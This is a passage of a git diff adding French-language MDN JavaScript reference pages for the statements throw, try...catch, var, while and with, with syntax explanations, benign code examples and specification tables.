{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.11', 'instruction switch')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-switch-statement', 'instruction switch')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.switch")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/if...else","if...else")}}
    • +
  • {{jsxref("Instructions/break","break")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/throw/index.html b/files/fr/web/javascript/reference/statements/throw/index.html new file mode 100644 index 0000000000..1465d2f460 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/throw/index.html @@ -0,0 +1,201 @@ +--- +title: throw +slug: Web/JavaScript/Reference/Instructions/throw +tags: + - Exception + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/throw +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction throw permet de lever une exception définie par l'utilisateur. L'exécution de la fonction courante sera stoppée (les instructions situées après l'instruction throw ne seront pas exécutées) et le contrôle sera passé au premier bloc {{jsxref("Instructions/try...catch","catch")}} de la pile d'appels. Si aucun bloc catch ne se trouve dans les fonctions de la pile d'appels, le programme sera terminé.

+ +
{{EmbedInteractiveExample("pages/js/statement-throw.html")}}
+ + + +

Syntaxe

+ +
throw expression;
+ +
+
expression
+
L'expression qui fournit l'exception à lever.
+
+ +

Description

+ +

L'instruction throw permet de lever (throw en anglais) une exception. Lorsqu'on lève une exception, expression fournit la valeur de l'exception. Chacune des instructions ci-après permet de lever une exception :

+ +
throw "monErreur"; // génère une exception étant une chaîne de caractères
+throw 42;          // génère une exception ayant la valeur 42
+throw true;        // génère une exception ayant la valeur true
+throw new Error("Obligatoire");  // génère un objet Error avec le message "Obligatoire"
+ +

On notera également que l'instruction throw est affectée par {{jsxref("Grammaire_lexicale","l'insertion automatique de point-virgule","#Insertion_automatique_de_points-virgules",1)}} car il n'est pas permis d'avoir un caractère de fin de ligne entre le mot-clé throw et l'expression.

+ +

Exemples

+ +

Lever une exception qui est un objet

+ +

Il est possible de lever une exception qui est un objet et de faire référence aux propriétés de cet objet au sein du bloc catch. Dans l'exemple suivant, on crée un objet monException du type ExceptionUtilisateur puis on utilise cet objet avec une instruction throw.

+ +
function ExceptionUtilisateur(message) {
+   this.message = message;
+   this.name = "ExceptionUtilisateur";
+}
+function getNomMois(mo) {
+   mo = mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
+   var mois = ["Jan", "Fév", "Mar", "Avr", "Mai", "Juin", "Juil",
+      "Août", "Sept", "Oct", "Nov", "Déc"];
+   if (mois[mo] !== undefined) {
+      return mois[mo];
+   } else {
+      throw new ExceptionUtilisateur("Numéro de mois invalide");
+   }
+}
+
+try {
+   // les instructions à tenter
+   var monMois = 15; // 15 est en dehors des limites prévues
+   var nomMois = getNomMois(monMois);
+} catch (e) {
+   nomMois = "unknown";
+   console.error(e.message, e.name); // on passe les caractéristiques de l'exception
+                                     // à un gestionnaire d'erreur
+}
+
+ +

Deuxième exemple avec un objet

+ +

Ici, on cherche à valider une chaîne de caractères représentant un code postal américain. Si le format utilisé est invalide, cela provoquera une exception avec un objet du type ZipFormatIncorrectException. (Le mot-clé {{jsxref("Instructions/const","const")}} introduit avec ECMAScript 6 est utilisé dans cet exemple).

+ +
/*
+ * Crée un objet ZipCode.
+ *
+ * Les formats acceptés sont :
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * Si l'argument passé au constructeur ZipCode n'est pas conforme
+ * à un de ces formats, une exception sera levée.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // la valeur du code sera la première correspondance
+      // dans la chaîne
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipFormatIncorrectException(zip);
+   }
+}
+
+function ZipFormatIncorrectException(value) {
+   this.value = value;
+   this.message = "le format n'est pas conforme";
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * Cette fonction pourrait être utilisée dans un script
+ * pour valider des adresses
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function vérifierZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipFormatIncorrectException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = vérifierZipCode(95060);         // renvoie 95060
+b = vérifierZipCode(9560);          // renvoie -1
+c = vérifierZipCode("a");           // renvoie -1
+d = vérifierZipCode("95060");       // renvoie 95060
+e = vérifierZipCode("95060 1234");  // renvoie 95060 1234
+
+ +

Propager une exception

+ +

L'instruction throw peut être utilisée pour transmettre une exception qui aurait été interceptée avec {{jsxref("Instructions/try...catch","catch")}}. Dans l'exemple suivant, on intercepte une exception avec une valeur numérique et on propage l'exception si la valeur est supérieure à 50. L'exception qui est levée se propage dans la fonction appelante ou au niveau le plus haut, visible par l'utilisateur.

+ +
try {
+   throw n; // lève une exception avec une valeur numérique
+} catch (e) {
+   if (e <= 50) {
+      // des instructions pour gérer les cas entre 1 et 50
+   } else {
+      // ce cas ne peut pas être géré maintenant, on transmet l'exception
+      throw e;
+   }
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.throw")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/try...catch","try...catch")}}
    • +
  • {{jsxref("Error")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/try...catch/index.html b/files/fr/web/javascript/reference/statements/try...catch/index.html new file mode 100644 index 0000000000..ae1d13b6d5 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/try...catch/index.html @@ -0,0 +1,306 @@ +--- +title: try...catch +slug: Web/JavaScript/Reference/Instructions/try...catch +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/try...catch +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction try...catch regroupe des instructions à exécuter et définit une réponse si l'une de ces instructions provoque une exception.

+ +
{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}
+ + + +

Syntaxe

+ +
try {
+   instructions_try
+}
+[catch (exception_var_1 if condition_1) { // non-standard
+   instructions_catch_1
+}]
+...
+[catch (exception_var_2) {
+   instructions_catch_2
+}]
+[finally {
+   instructions_finally
+}]
+
+ +
+
instructions_try
+
Les instructions qu'on souhaite exécuter.
+
+ +
+
instructions_catch_1, instructions_catch_2
+
Les instructions à exécuter si une exception est levée dans le bloc try.
+
+ +
+
exception_var_1, exception_var_2
+
Un identifiant qui permet de récupérer la valeur de l'exception associée à la clause catch.
+
+ +
+
condition_1
+
Une expression conditionnelle.
+
+ +
+
instructions_finally
+
Les instructions à exécuter une fois que l'instruction try est terminée. Ces instructions s'exécuteront, qu'il y ait eu une exception ou non.
+
+ +

Description

+ +

L'instruction try est composée d'un bloc try contenant une ou plusieurs instructions, d'au moins une clause catch ou d'une clause finally ou des deux. On peut donc avoir les trois formes suivantes pour cette instruction :

+ +
    +
  1. try...catch
    2. +
  2. try...finally
    3. +
  3. try...catch...finally
    4. +
+ +

Une clause catch contient les instructions à exécuter si une exception est levée par une instruction du bloc try. On souhaite généralement que le bloc try se déroule sans problème. Si toutefois une erreur se produit, on veut pouvoir contrôler ce qui se passe et on transmet donc le contrôle au bloc catch. Si une instruction contenue dans le bloc try (ou une fonction appelée depuis le bloc try) renvoie une exception, le contrôle sera immédiatement passé à la clause catch. Si aucune exception n'est levée, la clause catch ne sera pas utilisée.

+ +

La clause finally s'exécute après le bloc try et après le bloc catch (si celui-ci a été déclenché) mais avant les instructions qui suivent. Les instructions de cette clause sont toujours exécutées, qu'il y ait eu ou non une exception de déclenchée et/ou d'interceptée.

+ +

Il est possible d'imbriquer plusieurs instructions try. Si un try imbriqué ne possède pas de clause catch, la clause catch du try du niveau supérieur sera utilisée (et ainsi de suite).

+ +

Pour plus d'informations sur les exceptions et les erreurs en JavaScript, voir le chapitre du Guide JavaScript correspondant.

+ +

Clause catch inconditionnelle

+ +

Lorsqu'une seule clause catch inconditionnelle est utilisée, le bloc catch est utilisée pour n'importe quelle exception qui est levée. Ainsi, dans le fragment de code qui suit, pour toute exception produite, le contrôle de l'exécution passera à la clause catch.

+ +
try {
+   throw "monException"; // génère une exception
+}
+catch (e) {
+   // les instructions utilisées pour gérer les
+   // exceptions
+   logErreurs(e); // on transfère l'objet de l'exception à une méthode
+                  // gestionnaire
+}
+
+ +

La clause catch définit un identifiant (dans l'exemple précédent, c'est e) qui contient la valeur définie par l'instruction throw. Ce bloc catch est en quelque sorte unique en JavaScript car l'identifiant est créé lors de l'entrée dans le bloc catch, la valeur est alors ajoutée à la portée courant et la durée de vie de l'identifiant est limitée au bloc catch. Une fois que le bloc catch a été exécuté, l'identifiant n'est plus disponible.

+ +

Clauses catch conditionnelles

+ +

{{non-standard_header}}

+ +

Il est aussi possible d'utiliser une ou plusieurs clauses catch conditionnelles afin de gérer des exceptions spécifiques. Dans ce cas, selon l'exception produite, la clause catch appropriée sera utilisée. Dans l'exemple qui suit, le code contenu dans le bloc try peut produire trois exceptions : {{jsxref("TypeError")}}, {{jsxref("RangeError")}}, et {{jsxref("EvalError")}}. Lorsqu'une exception se produit, le contrôle de l'exécution est passé à la clause catch correspondante. SI l'exception qui est déclenchée ne correspond à aucune des conditions, le contrôle passera à la clause catch non-conditionnelle si elle est trouvée..

+ +

Si on utilise une clause catch inconditionnelle avec une ou plusieurs clauses catch conditionnelles, la clause inconditionnelle doit être spécifiée en dernière. Si ce n'est pas le cas, la clause catch inconditionnelle interceptera tous les types d'exceptions avant les autres clauses.

+ +
try {
+    maRoutine(); // peut déclencher trois types d'exceptions
+} catch (e if e instanceof TypeError) {
+    // les instructions pour gérer TypeError
+} catch (e if e instanceof RangeError) {
+    // les instructions pour gérer RangeError
+} catch (e if e instanceof EvalError) {
+    // les instructions pour gérer EvalError
+} catch (e) {
+    // les instructions pour gérer les autres exceptions
+}
+
+ +

Dans le fragment de code qui suit, on aura le même fonctionnement mais en utilisant uniquement des fonctionnalités standard (selon ECMAScript). Ce code est plus long mais fonctionne pour tous les environnements conformes à ECMAScript :

+ +
try {
+    maRoutine(); // may throw three types of exceptions
+} catch (e) {
+    if (e instanceof TypeError) {
+        // les instructions pour gérer TypeError
+    } else if (e instanceof RangeError) {
+        // les instructions pour gérer RangeError
+    } else if (e instanceof EvalError) {
+        // les instructions pour gérer EvalError
+    } else {
+       // les instructions pour gérer les autres exceptions
+    }
+}
+
+ +

L'identifiant de l'exception

+ +

Lorsqu'une exception est levée dans le bloc try, exception_var (par exemple le e dans « catch (e) ») contient la valeur définie par l'instruction {{jsxref("Instructions/throw","throw")}}. Cet identifiant peut être utilisé pour accéder aux propriétés de l'objet et ainsi obtenir des informations sur l'exception qui a eu lieu. Cet identifiant est local à la clause catch, il est créé lorsqu'on rentre dans la clause catch et n'est plus disponible une fois que la clause a fini son exécution.

+ +
function isValidJSON(txt){
+  try {
+    JSON.parse(txt);
+    return true;
+  } catch {
+    return false;
+  }
+}
+ +

La clause finally

+ +

La clause finally contient les instructions à exécuter après que les instructions du bloc try et éventuellement celles de la clause catch aient été exécutées mais avant que les instructions suivant l'instruction try soient exécutées. La clause finally est exécutée dans tous les cas (si on a eu une exception ou non). Si une exception est levée et qu'il n'y a pas de clause catch, les instructions de la clause finally sont tout de même exécutées.

+ +

Cela peut paraître étrange qu'un bloc de code qui s'exécute même lorsqu'il y a une exception… Il faut comprendre que le code qui suit le bloc try...catch ne sera pas exécuté. Aussi, le bloc finally permet de contenir toutes les instructions de clôture/nettoyage nécessaire. On évite donc de dupliquer ce code qui doit toujours être utilisé.

+ +

La clause finally peut être utilisée afin d'exécuter les actions nécessaires pour que le script « échoue correctement » en cas d'erreur. On peut par exemple tirer parti de finally pour fermer un flux, libérer une ressource, etc. Dans l'exemple suivant, exécuté côté serveur, le script accède à un fichier. Si une exception se produit lorsque le fichier est ouvert, la clause finally permet de fermer le fichier avant que le script échoue. Le code contenu dans le bloc finally sera exécuté même si on a une instruction return dans la section try ou dans la section catch.

+ +
ouvrirMonFichier()
+try {
+   // on utilise une ressource
+   écrireDansMonFichier(mesDonnées);
+}
+finally {
+   fermerMonFichier(); // on ferme toujours la ressource
+}
+
+ +

Exemples

+ +

Blocs try imbriqués

+ +

Tout d'abord, on utilise ce fragment de code, qui produit le résultat suivant :

+ +
try {
+  try {
+    throw new Error("oups");
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "finally"
+// "externe" "oups"
+
+ +

Et maintenant, si on a déjà intercepté l'exception avec une clause catch dans le bloc imbriqué :

+ +
try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console:
+// "interne" "oups"
+// "finally"
+
+ +

Ensuite, si on propage l'erreur à nouveau :

+ +
try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+    throw ex;
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "interne" "oups"
+// "finally"
+// "externe" "oups"
+
+ +

Toute exception ne sera interceptée qu'une seule fois par le bloc catch le plus « proche » à moins qu'elle ne soit retransmise à nouveau. Bien entendu, toute exception qui aura été levée par le bloc interne (il se peut que les instructions d'une clause catch provoquent une erreur) sera interceptée par le bloc externe.

+ +

Valeur de retour et bloc finally

+ +

Lorsque le bloc finally renvoie une valeur, c'est cette valeur qui devient la valeur de retour pour l'ensemble du bloc try-catch-finally et ce, peu importe, s'il y a des instructions {{jsxref("Instructions/return","return")}} dans les blocs try et catch. Cela inclue également les exceptions levées dans le bloc catch :

+ +
try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+    throw ex;
+  }
+  finally {
+    console.log("finally");
+    return;
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "interne" "oups"
+// "finally"
+
+ +

Le "oups" externe n'est pas renvoyé car l'instruction return est utilisée dans la clause finally du bloc interne. Cela aurait également été le cas avec n'importe quelle valeur renvoyée par le bloc catch.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.14', 'instruction try')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-try-statement', 'Instruction try')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}{{Spec2('ESDraft')}}Points ne faisant pas partie du standard ECMA-262 actuel : utilisation de plusieurs clauses catch et de plusieurs clauses conditionnelles (extension liée à SpiderMonkey, correspondant à JavaScript 1.5).
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.try_catch")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("Instructions/throw", "throw")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/var/index.html b/files/fr/web/javascript/reference/statements/var/index.html new file mode 100644 index 0000000000..31814763b0 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/var/index.html @@ -0,0 +1,223 @@ +--- +title: var +slug: Web/JavaScript/Reference/Instructions/var +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/var +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction var (pour variable) permet de déclarer une variable et éventuellement d'initialiser sa valeur.

+ +
{{EmbedInteractiveExample("pages/js/statement-var.html")}}
+ + + +

Syntaxe

+ +
var nomVar1 [= valeur1] [, nomVar2 [= valeur2] ... [, nomVarN [= valeurN]]];
+ +
+
nomvarN
+
Le nom de la variable, cela peut être n'importe quel identifiant valide.
+
+ +
+
valeurN
+
La valeur initiale à affecter à la variable, cela peut être n'importe quelle expression valide. S'il n'y a aucune valeur fournie, la variable vaudra {{jsxref("undefined")}}.
+
+ +

Description

+ +

Les déclarations de variables sont traitées avant que le code soit exécuté, quel que soit leur emplacement dans le code. La portée d'une variable déclarée avec var est le contexte d'exécution courant, c'est-à-dire : la fonction qui contient la déclaration ou le contexte global si la variable est déclarée en dehors de toute fonction.

+ +

Si on affecte une valeur à une variable qui n'a pas été déclarée (le mot-clé var n'a pas été utilisé), cela devient une variable globale (une propriété de l'objet global) lorsque l'affectation est exécutée. Les différences entre les variables déclarées et les variables non-déclarées sont :

+ +
    +
  1. Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non-déclarées sont toujours globales. + 
    function x() {
+  y = 1;   // Lève une exception ReferenceError en mode strict
+  var z = 2;
+}
+
+x();
+
+console.log(y); // Affiche "1" dans la console
+console.log(z); // Lève une exception ReferenceError:
+                // z n'est pas définie en dehors de x
+
    +
    2. +
  2. Les variables déclarées sont créées avant que n'importe quel autre code soit exécuté. Les variables non-déclarées n'existent pas tant que leur code n'est pas exécuté. + 
    console.log(a);                // Lève une exception ReferenceError.
+console.log('on continue...'); // N'est jamais exécuté
    + + 
    var a;
+console.log(a);                // Affiche "undefined".
+console.log('on continue...'); // Affiche "on continue...".
    +
    3. +
  3. Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction courante ou le contexte global). Les variables non-déclarées sont configurables (ce qui signifie qu'elles peuvent être supprimées). + 
    var a = 1;
+b = 2;
+
+delete this.a; // Lève une TypeError en mode strict. Échoue silencieusement sinon.
+delete this.b;
+
+console.log(a, b); // Lève une exception ReferenceError.
+// La propriété 'b' a été supprimée et n'existe plus.
    +
    4. +
+ +

En raison de ces trois différences, il faut éviter de ne pas déclarer une variable car cela peut provoquer des résultats inattendus. Il est donc fortement recommandé de toujours déclarer les variables, qu'elles soient dans une fonction ou dans la portée globale. Le mode strict, introduit avec ECMAScript 5, lève une exception lorsqu'une variable n'est pas déclarée.

+ +

La remontée de variables (hoisting)

+ +

Les déclarations de variables (et les déclarations en général) sont traitées avant que n'importe quel autre code soit exécuté. Ainsi, déclarer une variable n'importe où dans le code équivaut à la déclarer au début de son contexte d'exécution. Cela signifie qu'une variable peut également apparaître dans le code avant d'avoir été déclarée. Ce comportement est appelé « remontée » (hoisting en anglais) car la déclaration de la variable est « remontée » au début de la fonction courante ou du contexte global.

+ +
bla = 2
+var bla;
+// ...
+
+// est implicitement traité comme :
+
+var bla;
+bla = 2;
+
+ +

Étant donné ce comportement, il est recommandé de toujours déclarer les variables au début de leurs portées (le début du code global ou le début du corps de la fonction) afin de mieux (sa)voir quelles variables font partie de la fonction et lesquelles proviennent de la chaîne de portées.

+ +

Il est important de noter que la remontée des variables affecte uniquement la déclaration et pas l'initialisation de la valeur. La valeur sera affectée lorsque le moteur accèdera à l'instruction d'affectation. Par exemple :

+ +
function faireQuelqueChose() {
+  console.log(truc); // undefined
+  var truc = 111;
+  console.log(truc); // 111
+}
+
+// Correspond en fait à :
+function faireQuelqueChose() {
+  var truc;
+  console.log(truc); // undefined
+  truc = 111;
+  console.log(truc); // 111
+}
+
+ +

Exemples

+ +

Déclarer et initialiser deux variables

+ +
var a = 0, b = 0;
+
+ +

Affecter deux variables avec la même chaîne de caractères

+ +
var a = "A";
+var b = a;
+
+// est équivalent à :
+
+var a, b = a = "A";
+
+ +

Attention à l'ordre :

+ +
var x = y, y = 'A';
+console.log(x + y); // undefinedA
+
+ +

Ici, x et y sont déclarées avant que n'importe quel code soit exécuté, les affectations sont réalisées après ! Au moment où x = y est évalué, y existe donc on n'a pas d'erreur {{jsxref("ReferenceError")}} mais sa valeur est {{jsxref("undefined")}}. Ainsi, x reçoit la valeur undefined. Ensuite, y reçoit la valeur 'A'. Après la première ligne de code, on a donc la situation où x === undefined && y === 'A', ce qui explique le résultat.

+ +

Initialiser plusieurs variables

+ +
var x = 0; // Variable dans la portée globale (le fichier)
+
+function f(){
+  var x = y = 1; // x est déclaré localement
+                 // ce qui n'est pas le cas de y !
+}
+f();
+
+console.log(x, y); // 0, 1
+// x a bien la valeur globale attendue
+// y a été contaminé dans la fonction !
+// Une exception ReferenceError sera levée en mode
+// strict car y n'est pas défini dans cette portée
+
+ +

Les variables globales implicites

+ +

Il est possible de faire référence à des variables qui sont des variables globales implicites depuis la portée d'une fonction externe :

+ +
var x = 0;  // Déclare x comme variable globale du fichier, on lui affecte 0
+
+console.log(typeof z); // "undefined", car z n'existe pas encore
+
+function a() {
+  var y = 2;   // Déclare y dans la portée de la fonction a
+               // Affecte 2 comme valeur à y
+
+  console.log(x, y);   // 0 2
+
+  function b() {
+    x = 3;  // Affecte 3 à la variable globale x
+            // Ne crée pas une nouvelle variable globale
+    y = 4;  // Affecte 4 à la variable externe y,
+            // Ne crée pas une nouvelle variable globale
+    z = 5;  // Crée une nouvelle variable globale
+            // et lui affecte la valeur 5.
+  }         // (lève une ReferenceError en mode strict.)
+
+  b();     // Crée z en tant que variable globale
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // l'appel à a() entraîne un appel à b()
+console.log(x, z);     // 3 5
+console.log(typeof y); // "undefined" car y est local à la fonction a
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-12.2', 'instruction var')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-variable-statement', 'instruction de variable')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.var")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/let","let")}}
    • +
  • {{jsxref("Instructions/const","const")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/while/index.html b/files/fr/web/javascript/reference/statements/while/index.html new file mode 100644 index 0000000000..b04851c347 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/while/index.html @@ -0,0 +1,102 @@ +--- +title: while +slug: Web/JavaScript/Reference/Instructions/while +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/while +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction while permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.

+ +
{{EmbedInteractiveExample("pages/js/statement-while.html")}}
+ + + +

Syntaxe

+ +
while (condition) instruction
+ +
+
condition
+
Une expression qui est évaluée avant chaque passage dans la boucle. Si cette expression est évaluée à vrai, instruction est exécutée. Lorsque la condition n'est pas vérifiée, l'exécution se poursuit avec l'instruction qui suit la boucle while.
+
instruction
+
Une instruction optionnelle qui doit être exécutée tant que la condition d'entrée est vérifiée. Afin d'exécuter plusieurs instructions au sein de la boucle, on utilisera généralement un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) pour les regrouper.
+ Note : on pourra utiliser l'instruction break afin d'arrêter une boucle avant que la condition soit vérifiée.
+
+ +

Exemples

+ +

La boucle while qui suit s'exécute tant que n est strictement inférieur à 3.

+ +
var n = 0;
+var x = 0;
+
+while (n < 3) {
+  n++;
+  x += n;
+}
+ +

À chaque itération, la boucle incrémente la valeur de n et l'ajoute à x. Ainsi, x et n prennent les valeurs suivantes :

+ +
    +
  • Après la première itération : n = 1 et x = 1
    • +
  • Après la deuxième itération : n = 2 et x = 3
    • +
  • Après la troisième itération : n = 3 et x = 6
    • +
+ +

Une fois que la troisième itération est exécutée, la condition n < 3 n'est plus vérifiée et donc la boucle se termine.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-while-statement', 'while statement')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.while")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/do...while","do...while")}}
    • +
  • {{jsxref("Instructions/for", "for")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/with/index.html b/files/fr/web/javascript/reference/statements/with/index.html new file mode 100644 index 0000000000..8eec25496e --- /dev/null +++ b/files/fr/web/javascript/reference/statements/with/index.html @@ -0,0 +1,135 @@ +--- +title: with +slug: Web/JavaScript/Reference/Instructions/with +tags: + - Déprécié + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/with +--- +
{{jsSidebar("Statements")}}
+ +
Il n'est pas recommandé d'utiliser l'instruction with. En effet, elle est parfois source de problèmes de compatibilité ou de bogues. Se référer au paragraphe « Inconvénient : l'ambiguïté » de la section « Description » pour plus de détails.
+ +

L'instruction with permet d'étendre la portée chaînée d'une instruction.

+ +

Syntaxe

+ +
with (expression) {
+  instruction
+}
+
+ +
+
expression
+
L'expression fournie est ajoutée à la portée chaînée utilisée lors de l'évaluation de l'instruction. Les parenthèses sont obligatoires.
+
instruction
+
N'importe quelle instruction. Afin d'utiliser plusieurs instructions, on peut utiliser un bloc d'instructions ({ ... }) pour les regrouper.
+
+ +

Description

+ +

Dès qu'un nom non-qualifié est utilisé, JavaScript cherche dans la chaîne des portées associée à l'exécution une fonction ou un script qui contiendrait ce nom. L'instruction with ajoute l'objet donné à la tête de la chaîne des portées lors de l'évaluation des instructions qu'elle contient. Si un nom non-qualifié est utilisé parmi ces instructions correspond à une propriété de la chaîne des portées, le nom sera alors lié à la propriété et à l'objet contenant cette propriété, sinon une erreur ReferenceError est renvoyée.

+ +
L'utilisation de l'instruction with n'est pas recommandée et est interdite dans le mode strict d'ECMAScript 5. L'alternative recommandée est d'assigner l'objet utilisant les propriétés désirées à une variable temporaire.
+ +

Avantages et inconvénients : les performances

+ +
    +
  • Avantage : l'instruction with permet de réduire la taille d'un fichier en réduisant la répétition d'un objet dont la dénomination est longue, et ce sans qu'il y ait d'impact sur les performances. Le changement apporté à la chaîne des portées ne représente pas un ajout de complexité important. Utiliser l'instruction de with soulagera l'interpréteur lors de l'analyses des références objets potentiellement longues. On notera que l'alternative présentée ci-dessus permet également d'aboutir à ces avantages.
    • +
  • Inconvénient : en utilisant with, l'objet spécifié sera utilisé à chaque fois en premier lors de la recherche des noms. Ainsi, tous les identifiants qui ne sont pas des membres de l'objet donné à l'instruction seront trouvés plus lentement. Quand il s'agit d'obtenir de bonnes performances, l'instruction with devrait seulement être utilisée pour englober des fragments de codes où il n'y a que des accès à des membres de l'objet spécifié.
    • +
+ +

Inconvénient : l'ambiguïté

+ +
    +
  • Inconvénient : l'instruction with peut rendre plus compliquée, que ce soit pour un humain ou un compilateur, la recherche d'un nom non-qualifié le long de la chaîne des portées. Ainsi, avec cet exemple : + + 
    function f(x, o) {
+  with (o)
+    console.log(x);
+}
    + +

    ce n'est que quand f est appelée que x est trouvé ou non, s'il est trouvé à partir de o ou (si o n'a pas de telle propriété) dans l'objet d'activation de f où x représente le premier argument de la fonction. Si x n'est pas défini dans l'objet passé en second argument, il n'y aura pas d'erreur renvoyée, juste des résultats imprévus.

    +
    • +
  • Inconvénient : Du code utilisant l'instruction with pourrait ne pas être compatible dans le futur, en particulier lorsqu'il est utilisé avec autre chose qu'un objet simple. Par exemple : +
    + 
    function f(toto, values) {
+  with (toto) {
+    console.log(values)
+  }
+}
+
    + +

    Si vous appelez f([1,2,3], obj) dans un environnement ECMAScript 5, la référence à values à l'intérieur de l'instruction with sera liée avec obj. Cependant, ECMAScript 2015 (ES6) a introduit une propriété values pour {{jsxref("Array.prototype")}} (afin qu'elle soit disponible pour chaque tableau). Dans un environnement ECMAScript 2015, la référence à values utilisée à l'intérieur de l'instruction with sera résolue avec [1,2,3].values.

    +
    +
    • +
+ +

Exemples

+ +

Utiliser with

+ +

L'instruction with suivante indique que l'objet {{jsxref("Math")}} est l'objet par défaut. Les instructions qui suivent font référence à la propriété {{jsxref("Math.PI")}} et aux méthodes {{jsxref("Math.cos()")}} et {{jsxref("Math.sin()")}}, sans objet spécifié. JavaScript utilise donc l'objet Math pour ces références.

+ +
var a, x, y;
+var r = 10;
+
+with (Math) {
+  a = PI * r * r;
+  x = r * cos(PI);
+  y = r * sin(PI / 2);
+}
